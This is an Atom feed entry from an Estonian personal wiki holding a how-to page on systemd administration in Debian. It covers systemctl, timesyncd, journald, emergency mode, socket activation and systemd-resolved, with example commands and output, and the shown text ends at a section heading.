<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="et">
	<id>https://www.auul.pri.ee/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Imre</id>
	<title>Imre kasutab arvutit - Kasutaja kaastöö [et]</title>
	<link rel="self" type="application/atom+xml" href="https://www.auul.pri.ee/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Imre"/>
	<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/Eri:Kaast%C3%B6%C3%B6/Imre"/>
	<updated>2026-05-06T10:17:39Z</updated>
	<subtitle>Kasutaja kaastöö</subtitle>
	<generator>MediaWiki 1.39.13</generator>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=3456</id>
		<title>Systemd kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=3456"/>
		<updated>2026-05-05T07:07:08Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Ubuntu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
systemd http://freedesktop.org/wiki/Software/systemd/ ...&lt;br /&gt;
&lt;br /&gt;
Tundub, et 2014 aasta lõpus on Debian v. 8 Jessie koosseisus vaikimisi systemd&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /sbin/init &lt;br /&gt;
 lrwxrwxrwx 1 root root 20 Sep 28 22:33 /sbin/init -&amp;gt; /lib/systemd/systemd&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* Turvalisus ja tegevuste isoleerimine failisüsteemi ja võrgu tasemel, http://0pointer.de/blog/projects/security.html&lt;br /&gt;
* SysV käivitusskripti on imperatiivsed, st shell skriptid praktiliselt, systemd nö käivitusskriptid on deklaratiivsed, st nn .ini failidele sarnase sisuga&lt;br /&gt;
&lt;br /&gt;
===Paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et minimaalsele keskkonnale (nt debootstrap abil moodustatud) tuleb juurde lisada dbus ja polkit tugi, vastasel korral nt systemd-cgls programm ei tööta)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install dbus libpolkit-agent-1-0&lt;br /&gt;
&lt;br /&gt;
===Kasutamine===&lt;br /&gt;
&lt;br /&gt;
Teenuse oleku küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl status ssh.service&lt;br /&gt;
 ● ssh.service - OpenBSD Secure Shell server&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/ssh.service; enabled)&lt;br /&gt;
    Active: active (running) since Tue 2014-11-04 02:43:10 EET; 18h ago&lt;br /&gt;
  Main PID: 1956 (sshd)&lt;br /&gt;
    CGroup: /system.slice/ssh.service&lt;br /&gt;
            └─1956 /usr/sbin/sshd -D&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
 # cat /lib/systemd/system/ssh.service &lt;br /&gt;
 [Unit]&lt;br /&gt;
 Description=OpenBSD Secure Shell server&lt;br /&gt;
 After=network.target auditd.service&lt;br /&gt;
 ConditionPathExists=!/etc/ssh/sshd_not_to_be_run&lt;br /&gt;
 &lt;br /&gt;
 [Service]&lt;br /&gt;
 EnvironmentFile=-/etc/default/ssh&lt;br /&gt;
 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS&lt;br /&gt;
 ExecReload=/bin/kill -HUP $MAINPID&lt;br /&gt;
 KillMode=process&lt;br /&gt;
 Restart=on-failure&lt;br /&gt;
 &lt;br /&gt;
 [Install]&lt;br /&gt;
 WantedBy=multi-user.target&lt;br /&gt;
 Alias=sshd.service&lt;br /&gt;
&lt;br /&gt;
Teenuste nimekirja esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl  list-units --type=service | head -n 5&lt;br /&gt;
   UNIT                                 LOAD   ACTIVE SUB     DESCRIPTION&lt;br /&gt;
   accounts-daemon.service              loaded active running Accounts Service&lt;br /&gt;
   acpid.service                        loaded active exited  LSB: Start the Advanced Configuration and Power Interface daemon&lt;br /&gt;
   amavis-mc.service                    loaded active exited  LSB: Startup script for amavis master supervisor&lt;br /&gt;
   amavis.service                       loaded active running LSB: Starts amavisd-new mailfilter&lt;br /&gt;
&lt;br /&gt;
Tundub, et teenus saab olla mitmes olekus, üks variant teenuseid on sellised, mis arvuti käivitamisel nö korraks töötavad midagi sisse lülitades ja siis teevad exit, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-units --type=service --state=exited&lt;br /&gt;
 UNIT                             LOAD   ACTIVE SUB    DESCRIPTION&lt;br /&gt;
 getty-static.service             loaded active exited getty on tty2-tty6 if dbus and logind are not available&lt;br /&gt;
 kbd.service                      loaded active exited LSB: Prepare console&lt;br /&gt;
 keymap.service                   loaded active exited LSB: Set keymap&lt;br /&gt;
 modules_dep.service              loaded active exited LSB: modules.dep creation.&lt;br /&gt;
 netfilter-persistent.service     loaded active exited netfilter persistent configuration&lt;br /&gt;
 networking.service               loaded active exited LSB: Raise network interfaces.&lt;br /&gt;
 quota.service                    loaded active exited Check And Enable File System Quotas&lt;br /&gt;
 rc-local.service                 loaded active exited /etc/rc.local Compatibility&lt;br /&gt;
 systemd-random-seed.service      loaded active exited Load/Save Random Seed&lt;br /&gt;
&lt;br /&gt;
===systemd-timedated===&lt;br /&gt;
&lt;br /&gt;
timedatectl programmiga saab seadistada ajavööndit jms&lt;br /&gt;
&lt;br /&gt;
 # timedatectl list-timezones&lt;br /&gt;
 # timedatectl set-timezone Europe/Tallinn&lt;br /&gt;
&lt;br /&gt;
systemd-timedated on ntp klient, mis tuleb kasutamiseks sisse lülitada&lt;br /&gt;
&lt;br /&gt;
 # timedatectl set-ntp true&lt;br /&gt;
&lt;br /&gt;
Tundub, et samaväärne on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable systemd-timesyncd&lt;br /&gt;
 # systemctl start systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
Töötamissel annab timedatactl saranase vastuse&lt;br /&gt;
&lt;br /&gt;
 # timedatectl status&lt;br /&gt;
       Local time: Fri 2015-07-31 01:21:26 EEST&lt;br /&gt;
   Universal time: Thu 2015-07-30 22:21:26 UTC&lt;br /&gt;
         RTC time: Thu 2015-07-30 22:21:26&lt;br /&gt;
        Time zone: Europe/Tallinn (EEST, +0300)&lt;br /&gt;
      NTP enabled: yes&lt;br /&gt;
 NTP synchronized: no&lt;br /&gt;
  RTC in local TZ: no&lt;br /&gt;
       DST active: yes&lt;br /&gt;
  Last DST change: DST began at&lt;br /&gt;
                   Sun 2015-03-29 02:59:59 EET&lt;br /&gt;
                   Sun 2015-03-29 04:00:00 EEST&lt;br /&gt;
  Next DST change: DST ends (the clock jumps one hour backwards) at&lt;br /&gt;
                   Sun 2015-10-25 03:59:59 EEST&lt;br /&gt;
                   Sun 2015-10-25 03:00:00 EET&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud ajavööndi Daylight Saving Time algus ja lõpp&lt;br /&gt;
* kas NTP teenust töötab (systemd-timesyncd)&lt;br /&gt;
&lt;br /&gt;
Spetsiifilise NTP serveri kasutamiseks sobib näidata ta seadistusfailis /etc/systemd/timesyncd.conf&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/timesyncd.conf&lt;br /&gt;
 [Time]&lt;br /&gt;
 Servers=10.192.0.53&lt;br /&gt;
&lt;br /&gt;
ja muudatuse kehtestamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl restart systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timesyncd&lt;br /&gt;
 ● systemd-timesyncd.service - Network Time Synchronization&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timesyncd.service; enabled)&lt;br /&gt;
    Active: active (running) since Fri 2015-07-31 09:13:18 EEST; 1min 43s ago&lt;br /&gt;
      Docs: man:systemd-timesyncd.service(8)&lt;br /&gt;
  Main PID: 1179 (systemd-timesyn)&lt;br /&gt;
    Status: &amp;quot;Using Time Server 10.192.0.53:123 (10.192.0.53).&amp;quot;&lt;br /&gt;
    CGroup: /system.slice/systemd-timesyncd.service&lt;br /&gt;
            └─1179 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 &lt;br /&gt;
 Jul 31 09:13:17 postkast systemd-timesyncd[1179]: Using NTP server 10.192.0.53:123 (10.192.0.53).&lt;br /&gt;
 Jul 31 09:13:18 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 32s/+0.621s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:13:50 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 64s/+0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:14:54 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 128s/-0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
&lt;br /&gt;
Taustal tegutseb lisaks systemd-timedated deemon, mis on static, st teda kutsutakse automaatselt vajadusel välja, st käivitatakse&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timedated&lt;br /&gt;
 ● systemd-timedated.service - Time &amp;amp; Date Service&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timedated.service; static)&lt;br /&gt;
    Active: inactive (dead)&lt;br /&gt;
      Docs: man:systemd-timedated.service(8)&lt;br /&gt;
            man:localtime(5)&lt;br /&gt;
            http://www.freedesktop.org/wiki/Software/systemd/timedated&lt;br /&gt;
&lt;br /&gt;
===Rakenduste kasutamine systemd keskkonnas===&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL kasutamine====&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamiseks sobib esmalt järgmise eksemplari osa failisüsteemis ettevalmistada nö tavalisel viisil&lt;br /&gt;
&lt;br /&gt;
 # pg_createcluster 9.4 test&lt;br /&gt;
&lt;br /&gt;
ning käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl start postgresql@9.4-test&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamine paistab sedasi&lt;br /&gt;
&lt;br /&gt;
 # ps -U postgres -o pid,user,cgroup:150,args&lt;br /&gt;
   PID USER     CGROUP                                                                           COMMAND&lt;br /&gt;
 10064 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service /usr/lib/postgresql/9.4/bin/postgres -D /va ...&lt;br /&gt;
 10070 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: checkpointer process&lt;br /&gt;
 10072 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: writer process   &lt;br /&gt;
 10074 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: wal writer process   &lt;br /&gt;
 10076 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: autovacuum launcher process   &lt;br /&gt;
 10078 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: stats collector process   &lt;br /&gt;
 &lt;br /&gt;
 10331 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service /usr/lib/postgresql/9.4/bin/postgres -D /var ...&lt;br /&gt;
 10333 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: checkpointer process   &lt;br /&gt;
 10334 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: writer process   &lt;br /&gt;
 10335 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: wal writer process   &lt;br /&gt;
 10336 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: autovacuum launcher process   &lt;br /&gt;
 10337 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: stats collector process &lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* erinevate PostgreSQL protsessi kompilektide protsessid on sama süsteemi kasutaja postgres omad, aga kuuluvad erinevatesse kerneli CGROUP'idesse&lt;br /&gt;
&lt;br /&gt;
Tapmiseks nö -9 signaaliga&lt;br /&gt;
&lt;br /&gt;
 # systemctl kill -s SIGKILL postgresql@9.4-test.service&lt;br /&gt;
&lt;br /&gt;
====Samba====&lt;br /&gt;
&lt;br /&gt;
Teenuste seiskamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop smbd&lt;br /&gt;
 # systemctl stop nmbd&lt;br /&gt;
&lt;br /&gt;
kontrolliks&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep mb&lt;br /&gt;
&lt;br /&gt;
AD kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start samba-ad-dc&lt;br /&gt;
&lt;br /&gt;
====OpenVPN====&lt;br /&gt;
&lt;br /&gt;
Kui OpenVPN kliendi seadisus asub failis /etc/openvpn/client.conf, siis käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl start openvpn@client.service&lt;br /&gt;
&lt;br /&gt;
====Serial konsool====&lt;br /&gt;
&lt;br /&gt;
Serial konsooli käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable serial-getty@ttyS0.service&lt;br /&gt;
 Created symlink from /etc/systemd/system/getty.target.wants/serial-getty@ttyS0.service \&lt;br /&gt;
   to /lib/systemd/system/serial-getty@.service.&lt;br /&gt;
 &lt;br /&gt;
 # systemctl start serial-getty@ttyS0.service&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab ipmitool, cu, minicom jt programmide abil pöörduda serial konsooli poole.&lt;br /&gt;
&lt;br /&gt;
====NUT====&lt;br /&gt;
&lt;br /&gt;
Tundub, et töötab, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl status nut-server&lt;br /&gt;
 # systemctl status nut-client&lt;br /&gt;
&lt;br /&gt;
====iptables====&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.auul.pri.ee/wiki/Iptables_kasutamine_Debianiga#iptables-persistant&lt;br /&gt;
&lt;br /&gt;
====rsyslog====&lt;br /&gt;
&lt;br /&gt;
Peatamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop syslog.socket rsyslog.service&lt;br /&gt;
&lt;br /&gt;
vastasel korral tuleb sõnum sisse ja rsyslog teenus käivitatakse automaatselt.&lt;br /&gt;
&lt;br /&gt;
====Varnish====&lt;br /&gt;
&lt;br /&gt;
Kuulava pordi muutmine failis&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnish.service &lt;br /&gt;
 ExecStart=/usr/sbin/varnishd -j unix,user=vcache -F -a :80 -T localhost:6082 -f /etc/varnish/default.vcl -S /etc/varnish/secret -s malloc,256m&lt;br /&gt;
&lt;br /&gt;
Logimisel X-Forwarded-For kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnishncsa.service &lt;br /&gt;
 ExecStart=/usr/bin/varnishncsa -F '%%{X-Forwarded-For}i %%l %%u %%t \&amp;quot;%%r\&amp;quot; %%s %%b \&amp;quot;%%{Referer}i\&amp;quot; \&amp;quot;%%{User-agent}i\&amp;quot;' -a -w /var/log/varnish/varnishncsa.log&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
 # /etc/init.d/varnishncsa restart&lt;br /&gt;
 # /etc/init.d/varnish restart&lt;br /&gt;
&lt;br /&gt;
Logis on näha X-Forwarded-For päisest tulnud aadress ning tcp ühenduse teise otspunkti aadress&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# tail -f /var/log/varnish/varnishncsa.log&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Systemd sisaldab logimise komponenti journald. &lt;br /&gt;
&lt;br /&gt;
====Süsteemi alglaadimine====&lt;br /&gt;
&lt;br /&gt;
Logimise haldusutiliit näitab vaikimisi kogu kogutud logi alates viimasest alglaadimisest, vanemad sissekanded eespool&lt;br /&gt;
&lt;br /&gt;
 # journalctl&lt;br /&gt;
 -- Logs begin at Mon 2015-07-27 23:03:45 EEST, end at Tue 2015-07-28 08:41:14 EEST. --&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuset&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpu&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuacct&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Linux version 4.0.0-2-amd64 (debian-kernel@lists.debian.org) (gcc version 4.9.3 (Debian 4.9.3-2) ) #1 SMP Debian 4.0.8-2 (2015-07-22)&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Command line: BOOT_IMAGE=/vmlinuz-4.0.0-2-amd64 root=/dev/mapper/systemd-root ro console=ttyS0,9600&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
journald töötamisest annab tunnistust protsess&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep journald&lt;br /&gt;
 ..&lt;br /&gt;
 root        172  0.1  1.0  35112  5208 ?        Ss   08:55   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
Tundub, et vahel võib The Journal seisma jääda (nt saab failisüsteem täis vms), see paistab sedasi ja midagi ei logita (nt logger protsessiga)&lt;br /&gt;
&lt;br /&gt;
 Mar 28 03:37:01 keskus systemd-journal[29787]: Journal stopped&lt;br /&gt;
 -- Subject: The Journal has been stopped&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-journald&lt;br /&gt;
&lt;br /&gt;
 # journalctl -xn&lt;br /&gt;
 ...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Service...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Journal Service.&lt;br /&gt;
 May 19 02:36:01 keskus systemd-journal[32447]: Journal started&lt;br /&gt;
 -- Subject: The Journal has been started&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
 --&lt;br /&gt;
 -- The system journal process has been starting up, opened the journal&lt;br /&gt;
 -- files for writing and is now ready to process requests.&lt;br /&gt;
&lt;br /&gt;
====Apache veebiserver====&lt;br /&gt;
&lt;br /&gt;
Kui Apache seadistusfailis on viga, siis see paistab journald juurest välja selline&lt;br /&gt;
&lt;br /&gt;
 # journalctl -u apache2&lt;br /&gt;
 ..&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Starting LSB: Apache2 web server...&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Starting web server: apache2 failed!&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The apache2 configtest failed. ... (warning).&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Output of config test was:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: AH00526: Syntax error on line 1 of /etc/apache2/sites-enabled/000-default.conf:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: &amp;lt;VirtualHost&amp;gt; directive missing closing '&amp;gt;'&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Action 'configtest' failed.&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The Apache error log may have more information.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Control process exited, code=exited status=1&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Failed to start LSB: Apache2 web server.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Unit entered failed state.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Failed with result 'exit-code'.&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* journald tegeleb apache2 protsessidega seotud nö süsteemse logiga, mitte http päringute logimisega&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-use-journalctl-to-view-and-manipulate-systemd-logs&lt;br /&gt;
* http://0pointer.de/blog/projects/journalctl.html&lt;br /&gt;
&lt;br /&gt;
===targetite vahel liikumine===&lt;br /&gt;
&lt;br /&gt;
Nö init=/bin/bash keskkonda liikumiseks tuleb kasutada bootloaderis tuuma real parameetrit&lt;br /&gt;
&lt;br /&gt;
 systemd.unit=emergency.target&lt;br /&gt;
&lt;br /&gt;
tulemusena jõutakse (arvuti hostname on antud juhul systemd)&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 Welcome to Debian GNU/Linux stretch/sid!&lt;br /&gt;
 &lt;br /&gt;
 [260222.496889] systemd[1]: Set hostname to &amp;lt;systemd&amp;gt;.&lt;br /&gt;
 [  OK  ] Created slice Root Slice.&lt;br /&gt;
 [260223.089638] systemd[1]: Created slice Root Slice.&lt;br /&gt;
 [260223.096748] systemd[1]: Starting Root Slice.&lt;br /&gt;
 [  OK  ] Created slice System Slice.&lt;br /&gt;
 [260223.109289] systemd[1]: Created slice System Slice.&lt;br /&gt;
 [260223.115005] systemd[1]: Starting System Slice.&lt;br /&gt;
 [  OK  ] Started Emergency Shell.&lt;br /&gt;
 [260223.134133] systemd[1]: Started Emergency Shell.&lt;br /&gt;
 [260223.146296] systemd[1]: Starting Emergency Shell...&lt;br /&gt;
          Starting Emergency Shell...&lt;br /&gt;
 [  OK  ] Reached target Emergency Mode.&lt;br /&gt;
 [260223.192047] systemd[1]: Reached target Emergency Mode.&lt;br /&gt;
 [260223.205684] systemd[1]: Startup finished in 3.658s (kernel) + 967ms (userspace) = 4.626s.&lt;br /&gt;
 [260223.221455] systemd[1]: Starting Emergency Mode.&lt;br /&gt;
 [260223.232336] systemd[157]: emergency.service: Failed at step EXEC spawning /bin/plymouth: No such file or directory&lt;br /&gt;
 Welcome to emergency mode! After logging in, type &amp;quot;journalctl -xb&amp;quot; to view&lt;br /&gt;
 system logs, &amp;quot;systemctl reboot&amp;quot; to reboot, &amp;quot;systemctl default&amp;quot; or ^D to&lt;br /&gt;
 try again to boot into default mode.&lt;br /&gt;
 Give root password for maintenance&lt;br /&gt;
 (or press Control-D to continue): &amp;lt;root parool&amp;gt;&lt;br /&gt;
 root@systemd:~#&lt;br /&gt;
&lt;br /&gt;
Tavalisse nn multi-user režiimi jõudmiseks sobib öelda seejärel&lt;br /&gt;
&lt;br /&gt;
 # systemctl isolate multi-user.target&lt;br /&gt;
&lt;br /&gt;
Arvuti väljalülitamiseks sh toitest&lt;br /&gt;
&lt;br /&gt;
 # systemctl poweroff&lt;br /&gt;
&lt;br /&gt;
===systemd-socket-proxyd===&lt;br /&gt;
&lt;br /&gt;
systemd-ocket-proxyd võimaldab käivitada teenuse selle poole pöördumisel. Nt nginx protsessid käivitatakse port 80 poole pöördumisel. Selleks tuleb&lt;br /&gt;
&lt;br /&gt;
* seadistada nginx server kuulama port 8080&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/nginx/sites-available/default&lt;br /&gt;
 ..&lt;br /&gt;
 server {&lt;br /&gt;
        listen 8080 default_server;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* tekitada .service tüüpi unit (erinevalt man systemd-socket-proxyd soovitusest on JoinsNamespaceOf ja PrivateNetwork välja kommenteeritud ja lülitatud)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/system/proxy-to-nginx.service &lt;br /&gt;
 [Unit]&lt;br /&gt;
 Rquires=nginx.service&lt;br /&gt;
 After=nginx.service&lt;br /&gt;
 # JoinsNamespaceOf=nginx.service&lt;br /&gt;
&lt;br /&gt;
 [Service]&lt;br /&gt;
 ExecStart=/lib/systemd/systemd-socket-proxyd 127.0.0.1:8080&lt;br /&gt;
 PrivateTmp=yes&lt;br /&gt;
 PrivateNetwork=no&lt;br /&gt;
&lt;br /&gt;
* tekitada .socket tüüpi unit&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/system/proxy-to-nginx.socket &lt;br /&gt;
 [Socket]&lt;br /&gt;
 ListenStream=80&lt;br /&gt;
 &lt;br /&gt;
 [Install]&lt;br /&gt;
 WantedBy=sockets.target&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb sisse lülitada ja käivitada socket unit (nginx ise ega proxy-to-nginx.service ei pea töötama)&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable proxy-to-nginx.socket&lt;br /&gt;
 # systemctl start proxy-to-nginx.socket&lt;br /&gt;
&lt;br /&gt;
Tulemusena pöördudes aadressile http://127.0.0.1:80/ käivitatakse .service ja nginx protsessid.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://developer.atlassian.com/blog/2015/03/docker-systemd-socket-activation/&lt;br /&gt;
* man systemd-socket-proxyd&lt;br /&gt;
&lt;br /&gt;
===systemd-resolved===&lt;br /&gt;
&lt;br /&gt;
Paigaldada pakett libnss-resolve&lt;br /&gt;
&lt;br /&gt;
 # apt-get install libnss-resolve&lt;br /&gt;
&lt;br /&gt;
Kirjeldada meelepärane nö ISP nimeserver&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/resolved.conf&lt;br /&gt;
 &lt;br /&gt;
 [Resolve]&lt;br /&gt;
 DNS=10.192.0.53&lt;br /&gt;
&lt;br /&gt;
Lülitada sisse systemd-resolved&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-resolved&lt;br /&gt;
 # systemctl enable systemd-resolved&lt;br /&gt;
&lt;br /&gt;
Testida systemd-resolved rekursiivse nimeserveri töötamist&lt;br /&gt;
&lt;br /&gt;
 # /lib/systemd/systemd-resolve-host kuutorvaja.eenet.ee&lt;br /&gt;
 kuutorvaja.eenet.ee: 193.40.0.7&lt;br /&gt;
 &lt;br /&gt;
 -- Information acquired via protocol DNS in 157.3ms.&lt;br /&gt;
&lt;br /&gt;
Kustutada fail /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 # rm /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
Kasutada failis /etc/nsswitch.conf rida&lt;br /&gt;
&lt;br /&gt;
 hosts:          files resolve dns&lt;br /&gt;
&lt;br /&gt;
Soovi korral&lt;br /&gt;
&lt;br /&gt;
 # ln -fs /run/systemd/resolve/resolv.conf /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
Debugi sisselülitamine&lt;br /&gt;
&lt;br /&gt;
 # cp /lib/systemd/system/systemd-resolved.service /etc/systemd/system&lt;br /&gt;
&lt;br /&gt;
kus on sektsioonis Service lisatud debug&lt;br /&gt;
&lt;br /&gt;
 [Service]&lt;br /&gt;
 &lt;br /&gt;
 ..&lt;br /&gt;
 Environment=SYSTEMD_LOG_LEVEL=debug&lt;br /&gt;
&lt;br /&gt;
dns cache jms logisse kirjutamiseks&lt;br /&gt;
&lt;br /&gt;
 # kill -SIGUSR1 PID&lt;br /&gt;
&lt;br /&gt;
Tulemuse esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemd-resolve --status&lt;br /&gt;
&lt;br /&gt;
Logi jälgimine &lt;br /&gt;
&lt;br /&gt;
